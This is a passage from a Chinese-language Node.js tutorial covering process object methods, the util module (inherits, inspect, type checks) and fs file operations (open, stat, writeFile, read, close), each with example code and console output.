的备选方法。不同点,如果主模块在运行时改变,require.main可能会继续返回老的模块。可以认为,这两者引用了同一个模块。</li></ol><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">// 输出到终端</span><br><span class="line">process.stdout.write("Hello World!" + "\n");</span><br><span class="line"></span><br><span class="line">// 通过参数读取</span><br><span class="line">process.argv.forEach(function(val, index, array) {</span><br><span class="line"> console.log(index + ': ' + val);</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">// 获取执行路径</span><br><span class="line">console.log(process.execPath);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// 平台信息</span><br><span class="line">console.log(process.platform);</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">Hello World!</span><br><span class="line">0: node</span><br><span class="line">1: /web/www/node/main.js</span><br><span class="line">/usr/local/node/0.10.36/bin/node</span><br><span class="line">darwin</span><br></pre></td></tr></table></figure></li></ul><h3 id="方法参考手册"><a href="#方法参考手册" class="headerlink" title="方法参考手册"></a>方法参考手册</h3><ol><li><strong>abort()</strong><br>这将导致 node 触发 abort 事件。会让 node 退出并生成一个核心文件。</li><li><strong>chdir(directory)</strong><br>改变当前工作进程的目录,如果操作失败抛出异常。</li><li><strong>cwd()</strong><br>返回当前进程的工作目录</li><li><strong>exit([code])</strong><br>使用指定的 code 结束进程。如果忽略,将会使用 code 0。</li><li><strong>getgid()</strong><br>获取进程的群组标识(参见 getgid(2))。获取到得时群组的数字 id,而不是名字。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>setgid(id)</strong><br>设置进程的群组标识(参见 setgid(2))。可以接收数字 ID 或者群组名。如果指定了群组名,会阻塞等待解析为数字 ID 。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>getuid()</strong><br>获取进程的用户标识(参见 getuid(2))。这是数字的用户 id,不是用户名。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>setuid(id)</strong><br>设置进程的用户标识(参见setuid(2))。接收数字 ID或字符串名字。果指定了群组名,会阻塞等待解析为数字 ID 。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>getgroups()</strong><br>返回进程的群组 iD 数组。POSIX 系统没有保证一定有,但是 node.js 保证有。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>setgroups(groups)</strong><br>设置进程的群组 ID。这是授权操作,所以你需要有 root 权限,或者有 CAP_SETGID 能力。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>initgroups(user, extra_group)</strong><br>读取 /etc/group ,并初始化群组访问列表,使用成员所在的所有群组。这是授权操作,所以你需要有 root 权限,或者有 CAP_SETGID 能力。<br>注意:这个函数仅在 POSIX 平台上可用(例如,非Windows 和 Android)。</li><li><strong>kill(pid[, signal])</strong><br>发送信号给进程. pid 是进程id,并且 signal 是发送的信号的字符串描述。信号名是字符串,比如 ‘SIGINT’ 或 ‘SIGHUP’。如果忽略,信号会是 ‘SIGTERM’。</li><li><strong>memoryUsage()</strong><br>返回一个对象,描述了 Node 进程所用的内存状况,单位为字节。</li><li><strong>nextTick(callback)</strong><br>一旦当前事件循环结束,调用回调函数。</li><li><strong>umask([mask])</strong><br>设置或读取进程文件的掩码。子进程从父进程继承掩码。如果mask 参数有效,返回旧的掩码。否则,返回当前掩码。</li><li><strong>uptime()</strong><br>返回 Node 已经运行的秒数。</li><li><strong>hrtime()</strong><br>返回当前进程的高分辨时间,形式为 [seconds, nanoseconds]数组。它是相对于过去的任意事件。该值与日期无关,因此不受时钟漂移的影响。主要用途是可以通过精确的时间间隔,来衡量程序的性能。<br>你可以将之前的结果传递给当前的 process.hrtime() ,会返回两者间的时间差,用来基准和测量时间间隔。</li></ol><ul><li>实例<br>创建文件 main.js ,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">// 输出当前目录</span><br><span class="line">console.log('当前目录: ' + process.cwd());</span><br><span class="line"></span><br><span class="line">// 输出当前版本</span><br><span class="line">console.log('当前版本: ' + process.version);</span><br><span class="line"></span><br><span class="line">// 输出内存使用情况</span><br><span class="line">console.log(process.memoryUsage());</span><br></pre></td></tr></table></figure>执行 main.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ node main.js</span><br><span class="line">当前目录: /web/com/runoob/nodejs</span><br><span class="line">当前版本: v0.10.36</span><br><span class="line">{ rss: 12541952, heapTotal: 4083456, heapUsed: 2157056 }</span><br></pre></td></tr></table></figure></li></ul><hr><h1 id="Node-js-util模块"><a href="#Node-js-util模块" class="headerlink" title="Node.js util模块"></a>Node.js util模块</h1><p><a href="https://nodejs.org/api/util.html" target="_blank" rel="noopener">官方文档</a></p><p>util 是一个Node.js 核心模块,提供常用函数的集合,用于弥补核心JavaScript 的功能过于精简的不足。</p><h2 id="util-inherits"><a href="#util-inherits" class="headerlink" title="util.inherits"></a>util.inherits</h2><p><strong>util.inherits(constructor, superConstructor)</strong>是一个实现对象间原型继承 的函数。<br>JavaScript 的面向对象特性是基于原型的,与常见的基于类的不同。JavaScript 没有 提供对象继承的语言级别特性,而是通过原型复制来实现的。<br>在这里我们只介绍util.inherits 的用法,示例如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util'); </span><br><span class="line">function Base() { </span><br><span class="line"> this.name = 'base'; </span><br><span class="line"> this.base = 1991; </span><br><span class="line"> this.sayHello = function() { </span><br><span class="line"> console.log('Hello ' + this.name); </span><br><span class="line"> }; </span><br><span class="line">} </span><br><span class="line">Base.prototype.showName = function() { </span><br><span class="line"> console.log(this.name);</span><br><span class="line">}; </span><br><span class="line">function Sub() { </span><br><span class="line"> this.name = 'sub'; </span><br><span class="line">} </span><br><span class="line">util.inherits(Sub, Base); </span><br><span class="line">var objBase = new Base(); </span><br><span class="line">objBase.showName(); </span><br><span class="line">objBase.sayHello(); </span><br><span class="line">console.log(objBase); </span><br><span class="line">var objSub = new Sub(); </span><br><span class="line">objSub.showName(); </span><br><span class="line">//objSub.sayHello(); </span><br><span class="line">console.log(objSub);</span><br></pre></td></tr></table></figure><p>我们定义了一个基础对象Base 和一个继承自Base 的Sub,Base 有三个在构造函数 内定义的属性和一个原型中定义的函数,通过util.inherits 实现继承。运行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">base </span><br><span class="line">Hello base </span><br><span class="line">{ name: 'base', base: 1991, sayHello: [Function] } </span><br><span class="line">sub </span><br><span class="line">{ name: 'sub' }</span><br></pre></td></tr></table></figure><p><strong>注意:Sub 仅仅继承了Base 在原型中定义的函数,而构造函数内部创造的 base 属 性和 sayHello 函数都没有被 Sub 继承。同时,在原型中定义的属性不会被console.log 作 为对象的属性输出。</strong>如果我们去掉 objSub.sayHello(); 这行的注释,将会看到:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">node.js:201 </span><br><span class="line">throw e; // process.nextTick error, or 'error' event on first tick </span><br><span class="line">^ </span><br><span class="line">TypeError: Object #<Sub> has no method 'sayHello' </span><br><span class="line">at Object.<anonymous> (/home/byvoid/utilinherits.js:29:8) </span><br><span class="line">at Module._compile (module.js:441:26) </span><br><span class="line">at Object..js (module.js:459:10) </span><br><span class="line">at Module.load (module.js:348:31) </span><br><span class="line">at Function._load (module.js:308:12) </span><br><span class="line">at Array.0 (module.js:479:10) </span><br><span class="line">at EventEmitter._tickCallback (node.js:192:40)</span><br></pre></td></tr></table></figure><h2 id="util-inspect"><a href="#util-inspect" class="headerlink" title="util.inspect"></a>util.inspect</h2><p><strong>util.inspect(object,[showHidden],[depth],[colors])</strong>是一个将任意对象转换为字符串的方法,通常用于调试和错误输出。它至少接受一个参数 object,即要转换的对象。<br>showHidden 是一个可选参数,如果值为 true,将会输出更多隐藏信息。<br>depth 表示最大递归的层数,如果对象很复杂,你可以指定层数以控制输出信息的多 少。如果不指定depth,默认会递归2层,指定为 null 表示将不限递归层数完整遍历对象。 如果color 值为 true,输出格式将会以ANSI 颜色编码,通常用于在终端显示更漂亮 的效果。<br>特别要指出的是,util.inspect 并不会简单地直接把对象转换为字符串,即使该对 象定义了toString 方法也不会调用。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util'); </span><br><span class="line">function Person() { </span><br><span class="line"> this.name = 'byvoid'; </span><br><span class="line"> this.toString = function() { </span><br><span class="line"> return this.name; </span><br><span class="line"> }; </span><br><span class="line">} </span><br><span class="line">var obj = new Person(); </span><br><span class="line">console.log(util.inspect(obj)); </span><br><span class="line">console.log(util.inspect(obj, true));</span><br></pre></td></tr></table></figure><p>运行结果是:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">Person { name: 'byvoid', toString: [Function] }</span><br><span class="line">Person {</span><br><span class="line"> name: 'byvoid',</span><br><span class="line"> toString: </span><br><span class="line"> { [Function]</span><br><span class="line"> [length]: 0,</span><br><span class="line"> [name]: '',</span><br><span class="line"> [arguments]: null,</span><br><span class="line"> [caller]: null,</span><br><span class="line"> [prototype]: { [constructor]: [Circular] } } }</span><br></pre></td></tr></table></figure><h2 id="util-isArray-object"><a href="#util-isArray-object" class="headerlink" title="util.isArray(object)"></a>util.isArray(object)</h2><p>如果给定的参数 “object” 是一个数组返回true,否则返回false。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util');</span><br><span class="line"></span><br><span class="line">util.isArray([])</span><br><span class="line"> // true</span><br><span class="line">util.isArray(new Array)</span><br><span class="line"> // true</span><br><span class="line">util.isArray({})</span><br><span class="line"> // false</span><br></pre></td></tr></table></figure><h2 id="util-isRegExp-object"><a href="#util-isRegExp-object" class="headerlink" title="util.isRegExp(object)"></a>util.isRegExp(object)</h2><p>如果给定的参数 “object” 是一个正则表达式返回true,否则返回false。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util');</span><br><span class="line"></span><br><span class="line">util.isRegExp(/some regexp/)</span><br><span class="line"> // true</span><br><span class="line">util.isRegExp(new RegExp('another regexp'))</span><br><span class="line"> // true</span><br><span class="line">util.isRegExp({})</span><br><span class="line"> // false</span><br></pre></td></tr></table></figure><h2 id="util-isDate-object"><a href="#util-isDate-object" class="headerlink" title="util.isDate(object)"></a>util.isDate(object)</h2><p>如果给定的参数 “object” 是一个日期返回true,否则返回false。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util');</span><br><span class="line"></span><br><span class="line">util.isDate(new Date())</span><br><span class="line"> // true</span><br><span class="line">util.isDate(Date())</span><br><span class="line"> // false (without 'new' returns a String)</span><br><span class="line">util.isDate({})</span><br><span class="line"> // false</span><br></pre></td></tr></table></figure><h2 id="util-isError-object"><a href="#util-isError-object" class="headerlink" title="util.isError(object)"></a>util.isError(object)</h2><p>如果给定的参数 “object” 是一个错误对象返回true,否则返回false。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var util = require('util');</span><br><span class="line"></span><br><span class="line">util.isError(new Error())</span><br><span class="line"> // true</span><br><span class="line">util.isError(new TypeError())</span><br><span class="line"> // true</span><br><span class="line">util.isError({ name: 'Error', message: 'an error occurred' })</span><br><span class="line"> // false</span><br></pre></td></tr></table></figure><hr><h1 id="Node-js-文件系统"><a href="#Node-js-文件系统" class="headerlink" title="Node.js 文件系统"></a>Node.js 文件系统</h1><p><a href="https://nodejs.org/api/fs.html#fs_fs_rename_oldpath_newpath_callback" target="_blank" rel="noopener">官方文档</a></p><h2 id="异步和同步"><a href="#异步和同步" class="headerlink" title="异步和同步"></a>异步和同步</h2><p>Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。<br>异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。<br>建议大家使用异步方法,比起同步,异步方法性能更高,速度更快,而且没有阻塞。<br>实例</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">创建 input.txt 文件,内容如下:</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line">文件读取实例</span><br></pre></td></tr></table></figure><p>创建 file.js 文件, 代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">// 异步读取</span><br><span class="line">fs.readFile('input.txt', function (err, data) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("异步读取: " + data.toString());</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line">// 同步读取</span><br><span class="line">var data = fs.readFileSync('input.txt');</span><br><span class="line">console.log("同步读取: " + data.toString());</span><br><span class="line"></span><br><span class="line">console.log("程序执行完毕。");</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">同步读取: 菜鸟教程官网地址:www.runoob.com</span><br><span class="line">文件读取实例</span><br><span class="line"></span><br><span class="line">程序执行完毕。</span><br><span class="line">异步读取: 菜鸟教程官网地址:www.runoob.com</span><br><span class="line">文件读取实例</span><br></pre></td></tr></table></figure><p>接下来,让我们来具体了解下 Node.js 文件系统的方法。</p><h2 id="打开文件"><a href="#打开文件" class="headerlink" title="打开文件"></a>打开文件</h2><ul><li><p>语法<br>以下为在异步模式下打开文件的语法格式:<br><code>fs.open(path, flags[, mode], callback)</code></p></li><li><p>参数<br>参数使用说明如下:</p></li><li><p><em>path*</em> - 文件的路径。</p></li><li><p><em>flags*</em> - 文件打开的行为。具体值详见下文。</p></li><li><p><em>mode*</em> - 设置文件模式(权限),文件创建默认权限为 0666(可读,可写)。</p></li><li><p><em>callback*</em> - 回调函数,带有两个参数如:callback(err, fd)。</p><p>flags 参数可以是以下值:<br><strong>r</strong> 以读取模式打开文件。如果文件不存在抛出异常。<br><strong>r+</strong> 以读写模式打开文件。如果文件不存在抛出异常。<br><strong>rs</strong> 以同步的方式读取文件。<br><strong>rs+</strong> 以同步的方式读取和写入文件。<br><strong>w</strong> 以写入模式打开文件,如果文件不存在则创建。<br><strong>wx</strong> 类似 ‘w’,但是如果文件路径存在,则文件写入失败。<br><strong>w+</strong> 以读写模式打开文件,如果文件不存在则创建。<br><strong>wx+</strong> 类似 ‘w+’, 但是如果文件路径存在,则文件读写失败。<br><strong>a</strong> 以追加模式打开文件,如果文件不存在则创建。<br><strong>ax</strong> 类似 ‘a’, 但是如果文件路径存在,则文件追加失败。<br><strong>a+</strong> 以读取追加模式打开文件,如果文件不存在则创建。<br><strong>ax+</strong> 类似 ‘a+’, 但是如果文件路径存在,则文件读取追加失败。</p></li><li><p>实例<br>接下来我们创建 file.js 文件,并打开 input.txt 文件进行读写,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">// 异步打开文件</span><br><span class="line">console.log("准备打开文件!");</span><br><span class="line">fs.open('input.txt', 'r+', function(err, fd) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("文件打开成功!"); </span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备打开文件!</span><br><span class="line">文件打开成功!</span><br></pre></td></tr></table></figure></li></ul><h2 id="获取文件信息"><a href="#获取文件信息" class="headerlink" title="获取文件信息"></a>获取文件信息</h2><ul><li><p>语法<br>以下为通过异步模式获取文件信息的语法格式:<br><code>fs.stat(path, callback)</code></p></li><li><p>参数<br>参数使用说明如下:</p></li><li><p><em>path*</em> - 文件路径。</p></li><li><p><em>callback*</em> - 回调函数,带有两个参数如:(err, stats), stats 是 fs.Stats 对象。<br>fs.stat(path)执行后,会将stats类的实例返回给其回调函数。可以通过stats类中的提供方法判断文件的相关属性。例如判断是否为文件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">var fs = require('fs');</span><br><span class="line"></span><br><span class="line">fs.stat('/Users/liuht/code/itbilu/demo/fs.js', function (err, stats) {</span><br><span class="line"> console.log(stats.isFile()); //true</span><br><span class="line">})</span><br></pre></td></tr></table></figure><p>stats类中的方法有:</p><table><thead><tr><th>方法</th><th>描述</th></tr></thead><tbody><tr><td>stats.isFile()</td><td>如果是文件返回 true,否则返回 false。</td></tr><tr><td>stats.isDirectory()</td><td>如果是目录返回 true,否则返回 false。</td></tr><tr><td>stats.isBlockDevice()</td><td>如果是块设备返回 true,否则返回 false。</td></tr><tr><td>stats.isCharacterDevice()</td><td>如果是字符设备返回 true,否则返回 false。</td></tr><tr><td>stats.isSymbolicLink()</td><td>如果是软链接返回 true,否则返回 false。</td></tr><tr><td>stats.isFIFO()</td><td>如果是FIFO,返回true,否则返回 false。FIFO是UNIX中的一种特殊类型的命令管道。</td></tr><tr><td>stats.isSocket()</td><td>如果是 Socket 返回 true,否则返回 false。</td></tr></tbody></table></li><li><p>实例<br>接下来我们创建 file.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">console.log("准备打开文件!");</span><br><span class="line">fs.stat('input.txt', function (err, stats) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log(stats);</span><br><span class="line"> console.log("读取文件信息成功!");</span><br><span class="line"> </span><br><span class="line"> // 检测文件类型</span><br><span class="line"> console.log("是否为文件(isFile) ? " + stats.isFile());</span><br><span class="line"> console.log("是否为目录(isDirectory) ? " + stats.isDirectory()); </span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备打开文件!</span><br><span class="line">{ dev: 16777220,</span><br><span class="line"> mode: 33188,</span><br><span class="line"> nlink: 1,</span><br><span class="line"> uid: 501,</span><br><span class="line"> gid: 20,</span><br><span class="line"> rdev: 0,</span><br><span class="line"> blksize: 4096,</span><br><span class="line"> ino: 40333161,</span><br><span class="line"> size: 61,</span><br><span class="line"> blocks: 8,</span><br><span class="line"> atime: Mon Sep 07 2015 17:43:55 GMT+0800 (CST),</span><br><span class="line"> mtime: Mon Sep 07 2015 17:22:35 GMT+0800 (CST),</span><br><span class="line"> ctime: Mon Sep 07 2015 17:22:35 GMT+0800 (CST) }</span><br><span class="line">读取文件信息成功!</span><br><span class="line">是否为文件(isFile) ? true</span><br><span class="line">是否为目录(isDirectory) ? false</span><br></pre></td></tr></table></figure></li></ul><h2 id="写入文件"><a href="#写入文件" class="headerlink" title="写入文件"></a>写入文件</h2><ul><li><p>语法<br>以下为异步模式下写入文件的语法格式:<br><code>fs.writeFile(file, data[, options], callback)</code><br>writeFile 直接打开文件默认是 w 模式,所以如果文件存在,该方法写入的内容会覆盖旧的文件内容。</p></li><li><p>参数<br>参数使用说明如下:</p></li><li><p><em>file*</em> - 文件名或文件描述符。</p></li><li><p><em>data*</em> - 要写入文件的数据,可以是 String(字符串) 或 Buffer(缓冲) 对象。</p></li><li><p><em>options*</em> - 该参数是一个对象,包含 {encoding, mode, flag}。默认编码为 utf8, 模式为 0666 , flag 为 ‘w’</p></li><li><p><em>callback*</em> - 回调函数,回调函数只包含错误信息参数(err),在写入失败时返回。</p></li><li><p>实例<br>接下来我们创建 file.js 文件,代码如下所示:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">console.log("准备写入文件");</span><br><span class="line">fs.writeFile('input.txt', '我是通过fs.writeFile 写入文件的内容', function(err) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("数据写入成功!");</span><br><span class="line"> console.log("--------我是分割线-------------")</span><br><span class="line"> console.log("读取写入的数据!");</span><br><span class="line"> fs.readFile('input.txt', function (err, data) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("异步读取文件数据: " + data.toString());</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure><p>以上代码执行结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备写入文件</span><br><span class="line">数据写入成功!</span><br><span class="line">--------我是分割线-------------</span><br><span class="line">读取写入的数据!</span><br><span class="line">异步读取文件数据: 我是通过fs.writeFile 写入文件的内容</span><br></pre></td></tr></table></figure></li></ul><h2 id="读取文件"><a href="#读取文件" class="headerlink" title="读取文件"></a>读取文件</h2><ul><li>语法<br>以下为异步模式下读取文件的语法格式:<br><code>fs.read(fd, buffer, offset, length, position, callback)</code><br>该方法使用了文件描述符来读取文件。</li><li>参数<br>参数使用说明如下:</li><li><em>fd*</em> - 通过 fs.open() 方法返回的文件描述符。</li><li><em>buffer*</em> - 数据写入的缓冲区。</li><li><em>offset*</em> - 缓冲区写入的写入偏移量。</li><li><em>length*</em> - 要从文件中读取的字节数。</li><li><em>position*</em> - 文件读取的起始位置,如果 position 的值为 null,则会从当前文件指针的位置读取。</li><li><em>callback*</em> - 回调函数,有三个参数err, bytesRead, buffer,err 为错误信息, bytesRead 表示读取的字节数,buffer 为缓冲区对象。</li><li>实例<br>input.txt 文件内容为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line">接下来我们创建 file.js 文件,代码如下所示:</span><br><span class="line">var fs = require("fs");</span><br><span class="line">var buf = new Buffer.alloc(1024);</span><br><span class="line"></span><br><span class="line">console.log("准备打开已存在的文件!");</span><br><span class="line">fs.open('input.txt', 'r+', function(err, fd) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("文件打开成功!");</span><br><span class="line"> console.log("准备读取文件:");</span><br><span class="line"> fs.read(fd, buf, 0, buf.length, 0, function(err, bytes){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> }</span><br><span class="line"> console.log(bytes + " 字节被读取");</span><br><span class="line"> </span><br><span class="line"> // 仅输出读取的字节</span><br><span class="line"> if(bytes > 0){</span><br><span class="line"> console.log(buf.slice(0, bytes).toString());</span><br><span class="line"> }</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备打开已存在的文件!</span><br><span class="line">文件打开成功!</span><br><span class="line">准备读取文件:</span><br><span class="line">42 字节被读取</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure></li></ul><h2 id="关闭文件"><a href="#关闭文件" class="headerlink" title="关闭文件"></a>关闭文件</h2><ul><li>语法<br>以下为异步模式下关闭文件的语法格式:<br><code>fs.close(fd, callback)</code><br>该方法使用了文件描述符来读取文件。</li><li>参数<br>参数使用说明如下:</li><li><em>fd*</em> - 通过 fs.open() 方法返回的文件描述符。</li><li><em>callback*</em> - 回调函数,没有参数。</li><li>实例<br>input.txt 